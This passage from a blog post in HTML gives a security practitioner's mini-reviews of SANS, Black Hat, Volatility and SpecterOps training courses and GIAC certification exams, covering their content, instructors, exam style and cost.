also a sense of the real world applications of what you just learned. Things seem &lt;em&gt;possible&lt;/em&gt;, in a way that other eLearning formats fail to capture, as you don’t get the direct “face-to-face” interaction with an educator of a similar caliber. &lt;em&gt;But enough waxing poetic about the instructors&lt;/em&gt;, let me tell you why I liked the content a bit more than last time.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/profiles/moses-frost/&quot;&gt;Moses&lt;/a&gt; admits that this course is stretched a bit thin, as in an ideal world, full 5-6 day courses could easily be constructed for many of the sub-topics contained within this course - &lt;a href=&quot;https://aws.amazon.com&quot;&gt;AWS&lt;/a&gt;, &lt;a href=&quot;https://azure.microsoft.com/&quot;&gt;Azure&lt;/a&gt;, &lt;a href=&quot;https://kubernetes.io&quot;&gt;Kubernetes&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/lambda/&quot;&gt;Lambda&lt;/a&gt;, etc… At the time of writing this (re)review I don’t have my old books, so I can’t &lt;em&gt;physically&lt;/em&gt; compare the deltas between the original version of the course and the latest version, but based on my recollection I feel the recon section (&lt;em&gt;Day 1&lt;/em&gt;) has been modified to better relate to cloud-native-specific applications, a greater focus on attacking IAM is made on Day 2, the overall scope of the class is narrowed to just AWS and Azure (with a better balance between the two) and there were certainly tweaks elsewhere. Between the labs (which I actually took the time to do in this format), the moderately more focused content and the added expertise you get with the Live format, I think I can now safely &lt;strong&gt;recommend&lt;/strong&gt; this course. It’s still merely an introduction at the end of the day, but I truly feel you come away with a practical set of skills and the information and hunger needed to pursue further learning in the space. Speaking of further learning, I also know that a more advanced version of their cloud pentesting curriculum is on the horizon. Stay tuned for the &lt;em&gt;epic&lt;/em&gt; sequel, &lt;strong&gt;SEC688&lt;/strong&gt; - I’ve heard it will not be one to miss!&lt;/p&gt;

&lt;h3 id=&quot;sec537-practical-osint-analysis-and-automation-sans&quot;&gt;SEC537: Practical OSINT Analysis and Automation, SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: July 2021&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org&quot;&gt;SANS&lt;/a&gt; has recently stepped up, adding a &lt;a href=&quot;https://www.sans.org/mlp/new-sans-courses/&quot;&gt;huge number of new courses&lt;/a&gt;, many of which are 2-day courses. &lt;a href=&quot;https://www.sans.org/cyber-security-courses/practical-osint-analysis-and-automation/&quot;&gt;SEC537: Practical Open-Source Intelligence (OSINT) Analysis and Automation&lt;/a&gt; is one of these 2-day-ers. This shorter format, when executed well, can provide SANS’ famed, high-density educational material &lt;em&gt;without&lt;/em&gt; the usual &lt;a href=&quot;https://blog.teamascend.com/drinking-from-the-sans-fire-hose&quot;&gt;mental burnout&lt;/a&gt; which accompanies a typical 5-6 day, 8+ hours a day SANS course. Many will also benefit from not having to taken an entire week off of work to attend. A shorter class suffers though when material goes off track. With so little time you quickly lose value as there is but two days to cram all the relevant material into the class. I think SEC537 is an &lt;em&gt;excellent&lt;/em&gt; course and &lt;a href=&quot;https://www.sans.org/profiles/david-mashburn/&quot;&gt;David Mashburn&lt;/a&gt; (who is one of the course authors) did a fantastic job both putting this course together as well as teaching, &lt;em&gt;but&lt;/em&gt; it does suffer from this latter point. But enough about that, let’s get into the material…&lt;/p&gt;

&lt;p&gt;Day 1 drops you immediately into a really cool discussion on &lt;a href=&quot;https://en.wikipedia.org/wiki/Operations_security&quot;&gt;OPSEC&lt;/a&gt;, covering everything from how to perform overt/covert/clandestine work to understanding exactly how your tools work - specifically, knowing what traffic they generate and where that traffic is destined. I would take an entire 6-day course on OPSEC if I could. The day wraps up with a section on image/video verification which I knew little about prior to the class but can definitely understand it’s OSINT-value now. Day 2 is where I think this class should be tweaked. This day begins with OSINT-relevant &lt;a href=&quot;https://www.python.org&quot;&gt;Python&lt;/a&gt; skilling but then unfortunately nose-dives into a &lt;em&gt;very&lt;/em&gt; basic “intro-to-Python” lecture. For anyone who knows even basic Python, this section may disappoint. I recommend the intro Python material be moved to an appendix and be something the students learn if necessary as part of an after-hours bootcamp on Day 1. After half the day is spent learning basic Python, the class ends strongly with sections on interacting with the web programmatically (&lt;a href=&quot;https://docs.python-requests.org/en/master/&quot;&gt;requests&lt;/a&gt; module) and performing Data Analysis with Python.&lt;/p&gt;

&lt;p&gt;Not counting the intro-to-Python chunk, I think this course was one of the more interesting SANS courses I’ve taken (&lt;em&gt;pound for pound, if you will&lt;/em&gt;). &lt;strong&gt;Quick Note:&lt;/strong&gt; 2-day courses aren’t accompanied by a cert, so you really need only focus on learning the material. With everything said, this course being a SANS course means one inevitable thing - &lt;em&gt;a high price tag&lt;/em&gt;. At &lt;strong&gt;$2900&lt;/strong&gt; for just &lt;em&gt;two&lt;/em&gt; days, &lt;em&gt;pricey&lt;/em&gt; is but one word to describe the course. I was fortunate to have taken this class via the &lt;a href=&quot;https://www.sans.org/work-study-program/&quot;&gt;SANS Workstudy&lt;/a&gt;, so my wallet was not subjected to the full-wrath of SANS pricing. Overall, I &lt;strong&gt;do recommend&lt;/strong&gt; this course for the material, you need only find a way to finance it!&lt;/p&gt;

&lt;h3 id=&quot;sec460-enterprise-and-cloud--threat-and-vulnerability-assessment-geva-sans&quot;&gt;SEC460: Enterprise and Cloud | Threat and Vulnerability Assessment (GEVA), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: July 2021, GEVA Obtained: August 2021&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/cyber-security-courses/enterprise-cloud-threat-vulnerability-assessment/&quot;&gt;SEC460&lt;/a&gt; (&lt;em&gt;Enterprise and Cloud | Threat and Vulnerability Management&lt;/em&gt;) is the newest edition (&lt;a href=&quot;https://www.sans.org/press/announcements/sans-introduces-new-vulnerability-assessment-security-training-course/&quot;&gt;introduced in mid-2018&lt;/a&gt;) to the lineage of SANS &lt;em&gt;X60&lt;/em&gt; courses (i.e. &lt;a href=&quot;https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/&quot;&gt;SEC560&lt;/a&gt;, &lt;a href=&quot;https://www.sans.org/cyber-security-courses/advanced-penetration-testing-exploits-ethical-hacking/&quot;&gt;SEC660&lt;/a&gt; and &lt;a href=&quot;https://www.sans.org/cyber-security-courses/advanced-exploit-development-penetration-testers/&quot;&gt;SEC760&lt;/a&gt;), all of which are part of the &lt;a href=&quot;https://www.sans.org/webcasts/introducing-offensive-operations-117455/&quot;&gt;recently introduced&lt;/a&gt; SANS &lt;a href=&quot;https://www.sans.org/offensive-operations/&quot;&gt;Offensive Operations&lt;/a&gt; curriculum. &lt;a href=&quot;https://www.sans.org/&quot;&gt;SANS&lt;/a&gt; course numbering is notoriously wacky but in this case, these four courses describe a pretty realistic progression from &lt;em&gt;VM-to-pentester-to-exploit-developer&lt;/em&gt; (there are of course many other viable development paths into a career in penetration testing / offensive security). SANS courses with a &lt;em&gt;4xx&lt;/em&gt; designation have traditionally been more elementary in nature and though I think &lt;a href=&quot;https://www.sans.org/cyber-security-courses/enterprise-cloud-threat-vulnerability-assessment/&quot;&gt;SEC460&lt;/a&gt; certainly has some introductory concepts, it is &lt;em&gt;far more&lt;/em&gt; than its course number lets on.&lt;/p&gt;

&lt;p&gt;When this course first debuted, I certainly underestimated it - relegating it in my mind as some lowly Vulnerability Management (&lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;VM&lt;/a&gt;) training that entry-level infosec professionals would take to learn how to run a vulnerability scanner. Despite this, my background in &lt;a href=&quot;https://shellsharks.com/vm-bootcamp#title&quot;&gt;VM&lt;/a&gt; coupled with my lust for &lt;a href=&quot;https://www.sans.org/blog/sans-pen-test-challenge-coin-sec460/&quot;&gt;shiny things&lt;/a&gt; made me want to take the course anyways. When I got the chance to &lt;a href=&quot;https://www.sans.org/work-study-program/&quot;&gt;moderate the course&lt;/a&gt; I could not pass it up. Once in the class, it quickly became evident (within the first few hours of Day 1) that I had vastly miscalculated the content and value of the course.&lt;/p&gt;

&lt;p&gt;SANS is known for its (&lt;em&gt;expensive&lt;/em&gt;) high-value content as well as their world-class instructors. This is &lt;em&gt;especially&lt;/em&gt; true for &lt;a href=&quot;https://www.sans.org/cyber-security-courses/enterprise-cloud-threat-vulnerability-assessment/&quot;&gt;SEC460&lt;/a&gt;. My instructor for the course (and one of the course co-authors) was &lt;a href=&quot;https://www.sans.org/profiles/matthew-toussain/&quot;&gt;Matt Toussain&lt;/a&gt;. Matt (&lt;a href=&quot;https://twitter.com/0sm0s1z&quot;&gt;@Osm0s1z&lt;/a&gt;) did a truly amazing job both as an instructor as well as on developing the course content. His experience, expertise and professional anecdotes really take the course experience to the next level (in my opinion). &lt;em&gt;Ok, now about the course&lt;/em&gt;… Despite what I originally thought, the course covers not only typical &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; and network scanning concepts but also covers a variety of other relevant subjects including (&lt;em&gt;but not limited to&lt;/em&gt;) - &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1&quot;&gt;Powershell&lt;/a&gt;, Cyber Threat Intelligence (&lt;a href=&quot;https://www.cisecurity.org/blog/what-is-cyber-threat-intelligence/&quot;&gt;CTI&lt;/a&gt;), &lt;a href=&quot;https://owasp.org/www-community/Threat_Modeling&quot;&gt;threat modeling&lt;/a&gt;, &lt;a href=&quot;https://www.recordedfuture.com/open-source-intelligence-definition/&quot;&gt;OSINT&lt;/a&gt;, web application discovery, general reconnaissance, cloud security, Risk Assessment Frameworks (&lt;a href=&quot;https://cio-wiki.org/wiki/Risk_Assessment_Framework_(RAF)&quot;&gt;RAFs&lt;/a&gt;), wireless, &lt;a href=&quot;https://www.nettitude.com/us/penetration-testing/purple-teaming/&quot;&gt;purple teaming&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Active_Directory&quot;&gt;Windows AD&lt;/a&gt;. The epiphany comes when you realize that these aren’t “bonus” items or filler material but rather integral knowledge areas for performing comprehensive, modern Threat &amp;amp; Vulnerability Management/Assessment. Building this course, the authors were faced with the difficult mission of adding a large volume of material in such a way that students were not fed merely surface-level information on important concepts while at the same time not laboring over topics at a depth beyond what is required. This course strikes that balance in a way that I have not seen with almost any other &lt;a href=&quot;https://www.sans.org/cyber-security-courses/?msc=main-nav&quot;&gt;SANS course&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’ve been involved with Vulnerability Management (&lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;VM&lt;/a&gt;) and/or Threat and Vulnerability Assessment (T&amp;amp;VA) for almost my entire professional career and I think this course nails 95% of what I’ve personally used to execute in a VM role while also introducing a variety of new things I honestly never knew or thought to use with respect to building/running a VM program. This course, despite its &lt;a href=&quot;https://www.sans.org/webcasts/introducing-offensive-operations-117455/&quot;&gt;age&lt;/a&gt;, is in my opinion one of the more mature &lt;a href=&quot;https://www.sans.org/cyber-security-courses/?msc=main-nav&quot;&gt;SANS courses&lt;/a&gt; available and one &lt;strong&gt;I highly would recommend&lt;/strong&gt; not only to those new to the field or interested in the offensive security path, but also to more experienced infosec professionals and those in other, non-offensive-security roles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;About the GEVA&lt;/strong&gt;: The certification exam (&lt;a href=&quot;https://www.giac.org/certification/enterprise-vulnerability-assessor-geva&quot;&gt;GEVA&lt;/a&gt;) is not too dissimilar from other &lt;a href=&quot;https://www.giac.org/certifications/focus-areas&quot;&gt;GIAC exams&lt;/a&gt; - multiple choice and &lt;em&gt;very heavy&lt;/em&gt; on material which is sourced almost word-for-word from the course books. My only complaint about this course or the cert itself is the over-reliance on terminology that I think is not industry-standard but rather SANS-specific terminology. For example - “Target Matrix” is a term used to describe the list of potential targets which comes as result of the &lt;em&gt;Discovery&lt;/em&gt; phase of the Vulnerability Management Framework (VAF). Though this term makes sense, it’s not a term I have seen used before and to my knowledge, not something that is used industry-wide. Unfortunately, this micro-naming of concepts is very important for passing the exam (even if it’s not overly important to remember as an actual practitioner). So, &lt;em&gt;tldr;&lt;/em&gt; is - make sure you pay attention to SANS terminology as you will be quizzed on it if you sit for the exam!&lt;/p&gt;

&lt;h3 id=&quot;sec450-blue-team-fundamentals-security-operations-and-analysis-gsoc-sans&quot;&gt;SEC450: Blue Team Fundamentals: Security Operations and Analysis (GSOC), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: July 2021, GSOC Obtained: September 2021&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SANS &lt;a href=&quot;https://www.sans.org/cyber-security-courses/blue-team-fundamentals-security-operations-analysis/&quot;&gt;SEC450&lt;/a&gt; is a truly great course and one I would &lt;em&gt;certainly&lt;/em&gt; recommend for all security pros on the “blue” side of the house but one I also think would benefit anyone else in infosec as well. My instructor (and the course author) &lt;a href=&quot;https://www.sans.org/profiles/john-hubbard/&quot;&gt;John Hubbard&lt;/a&gt; does a fantastic job combining granular, practical exercises with high level, framework-based educational material. What you receive in the end is an amazingly succinct, yet potently high-value crash course on Security Operations. Day 1 introduces you to a number of high-level topics related to security operations in general. Days 2 and 3 have a lot of the technical meat - protocols, network architectures, endpoint security, logging, kerberos, etc… Day 4 introduces you to a wealth of security related models (e.g. &lt;a href=&quot;https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html&quot;&gt;Cyber Kill Chain&lt;/a&gt;, &lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;CSF&lt;/a&gt;, &lt;a href=&quot;https://www.threatintel.academy/diamond/&quot;&gt;Diamond Model&lt;/a&gt;, &lt;a href=&quot;https://smallwarsjournal.com/jrnl/art/f3ead-opsintel-fusion-“feeds”-the-sof-targeting-process&quot;&gt;F3EAD&lt;/a&gt;, etc…) and finally, the entirety of Day 5 is focused on improving as a security professional, something that I think would be a great addendum to every single &lt;a href=&quot;https://www.sans.org&quot;&gt;SANS&lt;/a&gt; course as this section is really subject-agnostic and provides a lot of really high-value content. I think the real value of this course lies in Days 1, 4 and 5. These days gave me a better sense of how interconnected frameworks interlace with the high level concept of “operations” in security. I think many who look at this course may see it as an entry level course for traditional “SOC Analysts”. After sitting through it however, I think it is so much more. If you want to learn how to apply security best principles in an operational environment, regardless of your role, this is the course to take.&lt;/p&gt;

&lt;p&gt;I don’t have much to say on the &lt;a href=&quot;https://www.giac.org/certification/security-operations-certified-gsoc&quot;&gt;GSOC&lt;/a&gt; exam itself other than to say its contents very closely resemble what you find both in the books as well as in the practice exam. The one thing I will say is there seemed to be an inordinate amount of questions about Windows logging despite how small of a section that is overall.&lt;/p&gt;

&lt;h3 id=&quot;sec487-open-source-intelligence-osint-gathering-and-analysis-gosi-sans&quot;&gt;SEC487: Open-Source Intelligence (OSINT) Gathering and Analysis (GOSI), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GOSI Obtained: November 2022&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I recently challenged the &lt;a href=&quot;https://www.giac.org/certifications/open-source-intelligence-gosi/&quot;&gt;GIAC GOSI&lt;/a&gt; exam (which is the associated certification for the &lt;a href=&quot;https://www.sans.org/cyber-security-courses/open-source-intelligence-gathering/&quot;&gt;SANS SEC487&lt;/a&gt; course). As I didn’t take the full course, I can’t directly comment on how good or bad it is. What I &lt;em&gt;can&lt;/em&gt; comment on is my exam experience.&lt;/p&gt;

&lt;p&gt;In general, the course appears to be incredibly comprehensive, stepping through just about every &lt;a href=&quot;https://usnwc.libguides.com/c.php?g=494120&amp;amp;p=3381426&quot;&gt;flavor of OSINT&lt;/a&gt; (e.g. HUMINT, SIGINT, IMINT, MASINT, FININT, SOCMINT, etc…). If you’re looking for tools, well they got tools - TONS of them! You’re going to want to be ready to bookmark a load of (&lt;em&gt;naturally&lt;/em&gt;, open-source) tools. Unlike the wider universe of &lt;a href=&quot;https://www.sans.org/cyber-security-courses/?msc=main-nav&quot;&gt;SANS courses&lt;/a&gt;, I found this one to have minimal overlap subject-wise with the &lt;a href=&quot;#certification-and-training-mini-reviews&quot;&gt;many other courses I have taken&lt;/a&gt;. &lt;em&gt;This is a good thing&lt;/em&gt;! No matter your experience with OSINT, I think you can &lt;em&gt;immediately&lt;/em&gt; walk away with some new tricks, new &lt;a href=&quot;https://shellsharks.com/infosec-tools#osint--reconnaissance&quot;&gt;tools&lt;/a&gt; and a boost to your practical skillset.&lt;/p&gt;

&lt;p&gt;The exam experience is fairly straight-forward, as most &lt;a href=&quot;https://www.giac.org/how-to-prepare/&quot;&gt;GIAC exams&lt;/a&gt; are. My criticism of this test (like many other GIAC tests) is it doesn’t really test you on your practical skills/technical know-how, but rather tests whether you have memorized stuff from the books. There are a lot of questions like, “&lt;em&gt;what tool is depicted in this picture&lt;/em&gt;?” or “&lt;em&gt;what tool would you use for X purpose&lt;/em&gt;?”, then citing some niche website run by some researcher you might of only heard of had you taken the course and had the books on-hand. In the end, I do think this can be a valuable course for those who are interested in this type of work, but be weary of an attempt to challenge the exam!&lt;/p&gt;

&lt;h3 id=&quot;sec522-application-security-securing-web-apps-apis-and-microservices-gweb-sans&quot;&gt;SEC522: Application Security: Securing Web Apps, APIs, and Microservices (GWEB), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;GWEB Obtained: November 2022&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I’ve been an AppSec professional in some form or fashion for nearly 10 years, and in that time I like to &lt;em&gt;think&lt;/em&gt; I’ve learned a thing or two not only about how to attack and compromise a web app, but also the ways in which to defend against those attacks and better harden said applications. To test this theory, I challenged the &lt;a href=&quot;https://www.giac.org/certifications/certified-web-application-defender-gweb/&quot;&gt;GIAC GWEB&lt;/a&gt; certification (associated with the &lt;a href=&quot;https://www.giac.org/certifications/certified-web-application-defender-gweb/&quot;&gt;SANS SEC522&lt;/a&gt; course.) As I mentioned in my recent &lt;a href=&quot;#sec487-open-source-intelligence-osint-gathering-and-analysis-gosi-sans&quot;&gt;GOSI review&lt;/a&gt;, challenging a &lt;a href=&quot;https://www.giac.org/get-certified/&quot;&gt;SANS/GIAC exam&lt;/a&gt; is not for the faint of heart, as in many cases, the questions are sourced directly from the book material, and in these cases are often overly specific, relying on having memorized what was printed over having real practical experience/knowledge. For this reason, the exams can be somewhat artificially difficult (&lt;em&gt;when bookless&lt;/em&gt;). I’m pleased to say however, that my experience with the GWEB ran contrary to that trend. Questions &lt;em&gt;were&lt;/em&gt; much more practical in nature, often worded in a scenario-like form rather than a simple memorization exercise. At times, questions delved &lt;em&gt;beyond&lt;/em&gt; surface-level understanding, but overall, this exam (and presumably the course as well) remains a mile wide and an inch deep (so to speak), covering everything from HTTP basics, to common attack defenses, AuthN/AuthZ, web services and beyond. &lt;a href=&quot;https://www.sans.org&quot;&gt;SANS&lt;/a&gt; is known pretty well for their great portfolio of &lt;a href=&quot;https://www.sans.org/offensive-operations/&quot;&gt;offensive security courses&lt;/a&gt;, and for good reason! However, this course’s dedication and focus on &lt;strong&gt;defense&lt;/strong&gt; and architectural best practices makes it somewhat unique and in my mind, &lt;em&gt;quite special&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;mgt512-security-leadership-essentials-for-managers-gslc-sans&quot;&gt;MGT512: Security Leadership Essentials for Managers (GSLC), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: August 2022, GSLC Obtained: December 2022&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sans.org/cyber-security-courses/security-leadership-essentials-managers/&quot;&gt;MGT512&lt;/a&gt; is &lt;a href=&quot;https://www.sans.org&quot;&gt;SANS&lt;/a&gt;’ flagship &lt;a href=&quot;https://www.sans.org/cybersecurity-leadership/&quot;&gt;management course&lt;/a&gt; and I’ll start by giving the course a ~&lt;strong&gt;B&lt;/strong&gt; for staying high-level and “managerial”. There are certainly a few sections (&lt;em&gt;looking at you Days 2 &amp;amp; 3&lt;/em&gt;) where things get a bit overly technical for what I would expect in a course for managers. Then again, wouldn’t it be something to have leaders who had a certain level of technical proficiency? For the course itself, be prepared to think &lt;em&gt;CISO&lt;/em&gt;, as the typical SANS course week-end CTF is replaced by a &lt;em&gt;week-long&lt;/em&gt; &lt;a href=&quot;https://www.sans.org/blog/introducing-the-mgt512-cyber42-security-leadership-simulation/&quot;&gt;choose-your-own-adventure style game&lt;/a&gt; where you act as a security leader making decisions for a fictional company. Maintain a practical, &lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;NIST CSF&lt;/a&gt;-balanced approach to achieve victory, and of course, the &lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;challenge coin&lt;/a&gt;! When you’re not bogged down learning about low-level encryption stuff (or similar technical minutiae), you’re back to big-picture items - learning about the frameworks, policies, program structures and other risk-governed concepts that rule the lives of security leaders everywhere. &lt;em&gt;So is this a good course&lt;/em&gt;? Hard to say. I personally, didn’t get &lt;em&gt;much&lt;/em&gt; out of it, but I’ve been in infosec for 12+ years as of writing this mini-review and have spent plenty of time across nearly all infosec disciplines. For managers looking to make sense of it all though, I suspect this would be quality content.&lt;/p&gt;

&lt;p&gt;For those interested in taking the &lt;a href=&quot;https://www.giac.org/certifications/security-leadership-gslc/&quot;&gt;GSLC&lt;/a&gt; exam, it is very reminiscent of other content-broad exams (e.g. Sec+, CISSP, GSEC, etc…). With a fair amount of scenario-based questions (rather than pure memorization questions GIAC exams are known for), there is certainly some challenge and you should be relatively versed in the days material to achieve a high score. That said, with 3 hours to answer 115 questions, you have ample time to leverage the books in case you need to look up some answers or find references to assist you with a tricky question or two (&lt;em&gt;or 50&lt;/em&gt;). Interestingly, I found this exam to be a bit more challenging than the usual GIAC exam, but with a passing score of only &lt;em&gt;65%&lt;/em&gt;, success is pretty easy to come by.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; My thanks to &lt;a href=&quot;https://www.sans.org/profiles/myngoc-nguyen/&quot;&gt;My-Ngoc Nguyen&lt;/a&gt;, who kept the course days very lively and fun!&lt;/p&gt;

&lt;h3 id=&quot;windows-malware-and-memory-forensics-volatility&quot;&gt;Windows Malware and Memory Forensics, Volatility&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: October 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I took this &lt;a href=&quot;https://www.memoryanalysis.net/memory-forensics-training&quot;&gt;course&lt;/a&gt; at a point in time where I was seriously unprepared for it. For this reason, I can’t really give a recommendation on the course itself. However, I will say that before you consider taking this course, you are going to want to pay close attention to Volatility’s &lt;a href=&quot;https://www.memoryanalysis.net/memory-forensics-training#prerequisites&quot;&gt;expected prerequisites&lt;/a&gt;. This class is not for the faint of heart and requires some serious pre-requisite knowledge.&lt;/p&gt;

&lt;p&gt;I wanted to add here that though I didn’t learn &lt;a href=&quot;https://github.com/volatilityfoundation/volatility&quot;&gt;Volatility&lt;/a&gt; nearly as well as I had hoped during the course, having been severely underprepared for the course at the time I took it, I did have a lot of fun using &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/strings&quot;&gt;strings&lt;/a&gt; to conquer WAY too many of the CTF questions on the final day. Don’t discount the power of Strings and GREP!&lt;/p&gt;

&lt;h3 id=&quot;the-shellcode-lab-black-hat&quot;&gt;The Shellcode Lab, Black Hat&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: July 2017&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I took this &lt;a href=&quot;https://www.blackhat.com/us-18/training/the-shellcode-lab.html&quot;&gt;course&lt;/a&gt; while at Blackhat one year and came away really impressed. It’s one of those courses that takes what seems to be a pretty advanced and relatively opaque subject and makes it very approachable. By the end of those course I felt I had acquired a lot of practical skills. I recommend anyone interested in this class to have some familiarity with &lt;a href=&quot;https://shellsharks.com/intel-assembly-primer#title&quot;&gt;Intel assembly&lt;/a&gt; but after that, I think its relatively approachable and &lt;strong&gt;definitely recommended&lt;/strong&gt;!&lt;/p&gt;

&lt;h3 id=&quot;sans-sec564-red-team-operations-and-threat-emulation&quot;&gt;SANS SEC564 Red Team Operations and Threat Emulation&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: March 2018&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.redteamsecure.com/blog/what-is-red-teaming-and-why-do-i-need-it-2/&quot;&gt;Red Teaming&lt;/a&gt; is one of the apex disciplines of the Cybersecurity field. &lt;a href=&quot;https://www.sans.org/&quot;&gt;SANS&lt;/a&gt;, as one of the premier cyber security education providers in the world offers only a &lt;a href=&quot;https://www.sans.org/cyber-security-courses/red-team-exercises-adversary-emulation/&quot;&gt;two-day course&lt;/a&gt; covering the subject. This speaks to the &lt;em&gt;niche-ness&lt;/em&gt; of Red Teaming as well as it’s advanced nature. This course, formerly taught and authored-by &lt;a href=&quot;https://twitter.com/joevest&quot;&gt;Joe Vest&lt;/a&gt; (the course author is now &lt;a href=&quot;https://twitter.com/jorgeorchilles&quot;&gt;Jorge Orchilles&lt;/a&gt;, creator of the &lt;a href=&quot;https://www.thec2matrix.com/&quot;&gt;C2Matrix&lt;/a&gt;) is one of the best, most-concise introductions to Red Teaming I have found and would be valuable for anyone who is looking to stand up a Red Team practice at their organization. Being a SANS course, the price is still steep, but at only two days and given the fact that &lt;em&gt;your organization should really be paying for you to take the course&lt;/em&gt;, I &lt;strong&gt;definitely recommend&lt;/strong&gt; it. It is important to note that this course is &lt;strong&gt;NOT&lt;/strong&gt; technical in nature. It certainly won’t get into the gritty technical aspects of red teaming, nor does it really explain with any sort of technical depth, the nature of standing up any sort of red team infrastructure. For this, I recommend taking a look at the &lt;a href=&quot;#specterops-adversary-tactics-red-team-operations&quot;&gt;SpecterOps Adversary Tactics: Red Team Operations&lt;/a&gt; training. With this said, I think performing successful red team engagements requires a thorough understanding of what red teaming really is, especially compared to traditional penetration testing, as well as an understanding of all the moving parts, players, stakeholders etc… This course will help you achieve that understanding.&lt;/p&gt;

&lt;h3 id=&quot;sans-sec642-advanced-web-app-penetration-testing&quot;&gt;SANS SEC642 Advanced Web App Penetration Testing&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: May 2018&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SANS’ top tier web-app specific penetration testing &lt;a href=&quot;https://www.sans.org/ondemand/course/advanced-web-app-penetration-testing-ethical-hacking&quot;&gt;course&lt;/a&gt; is a bit hit-and-miss in my opinion. The problem with any “advanced” course is that it’s really difficult, in any 6 day period (which is the length of your typically full SANS course) to cover even a small fraction of the known techniques applicable to any specific penetration testing discipline, in this case web application penetration testing. Given everything that could be covered, SANS authors decided on SQLi, XSS, File Inclusions, XSRF, attacks specific to some web frameworks, crypto attacks, some WAF bypass stuff, and a little bit on Flash, SOAP, WebSockets and HTTP/2. This list obviously misses a gigantic swath of the web attack surface and even within this list itself these concepts are only barely touched. By far the most interesting day (for me) was the day on crypto-attacks but even that I’m skeptical as to the real practicality of what I learned. I’m not saying I didn’t learn anything useful in 6 days, but I think anyone at the stage in their career where they are interested in “advanced web application penetration testing” is better off with other educational mediums. You could probably learn more in 6 days just &lt;a href=&quot;https://pentester.land/list-of-bug-bounty-writeups.html&quot;&gt;reading bug bounty writeups&lt;/a&gt; for example! An added negative is that this course currently does not offer a certification, so at the end of the day, you’re really only taking this course for its content - and at $7k+, I think &lt;strong&gt;you’re money is better spent elsewhere&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Looks like this course is now &lt;a href=&quot;https://shellsharks.com/captains-log/2022/08/27/log#what-im-learning&quot;&gt;officially deprecated&lt;/a&gt; (&lt;em&gt;for now&lt;/em&gt;). &lt;strong&gt;RIP&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;specterops-adversary-tactics-red-team-operations&quot;&gt;SpecterOps Adversary Tactics: Red Team Operations&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: June 2018&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://specterops.io/&quot;&gt;SpecterOps&lt;/a&gt; is a (primarily offensive) security consulting company specializing in (bleeding-edge) research, assessments and training. Prior to taking their &lt;a href=&quot;https://specterops.io/how-we-help/training-offerings/adversary-tactics-red-team-operations&quot;&gt;Red Team Operations course&lt;/a&gt;, I was familiar with them as the creators of both &lt;a href=&quot;http://www.powershellempire.com/?page_id=83&quot;&gt;Empire&lt;/a&gt; and &lt;a href=&quot;https://bloodhound.readthedocs.io/en/latest/&quot;&gt;BloodHound&lt;/a&gt;. For a four day course on what is a very advanced, and very broad subject - I think the Red Team Operations course is outstanding. It covers both managerial and technical aspects of Red Teaming, everything from initial access operations (IAO) and establishing C2 to persistence, privesc and pivoting, all while in a modern, Windows-based AD environment. Within the labs you’ll get real, practical experience with the tools of the trade (e.g. Cobalt Strike) and modern techniques. With this said, I don’t think this course alone can take someone who isn’t already a red teamer and make them one over the course of four days. Even as deep as this course gets, the nature of Red Teaming is one that requires breadth and depth far beyond what this course can offer. For this reason, &lt;strong&gt;I recommend&lt;/strong&gt; this course for those who already possess a moderate to advanced penetration testing background or those with entry-level experience in red teaming. I’ll also point out that this training is useful (as is most trainings) only if you have the ability to practice what you’ve learned after-the-fact. Unlike a lot of other security disciplines, &lt;em&gt;adversary emulation&lt;/em&gt; is difficult to “practice” in a lab environment, you need both a legally-appropriate and willing test-subject. This means your best-off if you are already part of an internal red team or are looking to stand one up at your organization. Without this in place, I don’t recommend taking the course.&lt;/p&gt;

